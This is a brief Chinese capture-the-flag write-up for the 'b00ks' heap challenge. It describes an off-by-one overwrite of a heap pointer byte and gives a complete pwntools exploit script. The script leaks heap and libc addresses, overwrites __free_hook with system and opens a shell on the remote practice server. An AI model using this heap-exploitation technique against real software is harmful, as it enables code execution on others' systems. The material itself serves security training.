b00ks

甩到脸上的off-by-one

是一个图书管理系统

这里可以覆盖掉存堆地址的一个字节，可以实现改堆地址的操作

打印的时候会连堆地址也打印出来

add(0x80,'cccccccc',0x60,'dddddddd')
add(0x10,'eeeeeeee',0x10,'ffffffff')

free(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90+0xe0+0x10)+p64(0x20))

exp

from pwn import*
from LibcSearcher import *
p=remote("node5.buuoj.cn",25494)
#p=process("./b00ks")
context.log_level="debug"
libc=ELF('./libc-2.23.so')
elf=ELF('./b00ks')
payload=b'k'*0x1f+b'b'
p.sendlineafter('Enter author name: ',payload)

def add(size1,content1,size2,content2):
	p.sendlineafter('> ','1')
	p.sendlineafter('Enter book name size:',str(size1))
	p.sendlineafter('Enter book name (Max 32 chars):',content1)
	p.sendlineafter('Enter book description size:',str(size2))
	p.sendlineafter('Enter book description:',content2)

def edit(idd,content):
	p.sendlineafter('> ','3')
	p.sendlineafter('Enter the book id you want to edit: ',str(idd))
	p.sendlineafter('Enter new book description: ',content)

def show():
	p.sendlineafter('> ','4')
	
def free(idd):
	p.sendlineafter('> ','2')
	p.sendlineafter('Enter the book id you want to delete: ',str(idd))

def ren(content):
	p.sendlineafter('> ','5')
	p.sendlineafter('Enter author name: ',content)
	

add(0xd0,'aaaaaaaa',0x20,'bbbbbbb') #1

show()
p.recvuntil("kb")
heap_addr=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
print('addr'+hex(heap_addr))

add(0x80,'cccccccc',0x60,'dddddddd') #2 
add(0x10,'bin/sh',0x10,'ffffffff') #3

free(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90+0xe0+0x10)+p64(0x20))

ren('a'*0x20)
show()
p.recvuntil('Name: ')
main_addr=u64(p.recvuntil('\x7f').ljust(8,b'\x00'))-88
malloc_hook=main_addr-0x10
base=malloc_hook-libc.sym['__malloc_hook']
free_hook=base+libc.sym['__free_hook']
system=base+libc.sym['system']
print('main_addr'+hex(main_addr))
edit(1,p64(free_hook)+p64(0x20))

edit(3,p64(system))
free(3)
#gdb.attach(p)
sleep(1)

#p.sendline(payload)


p.interactive()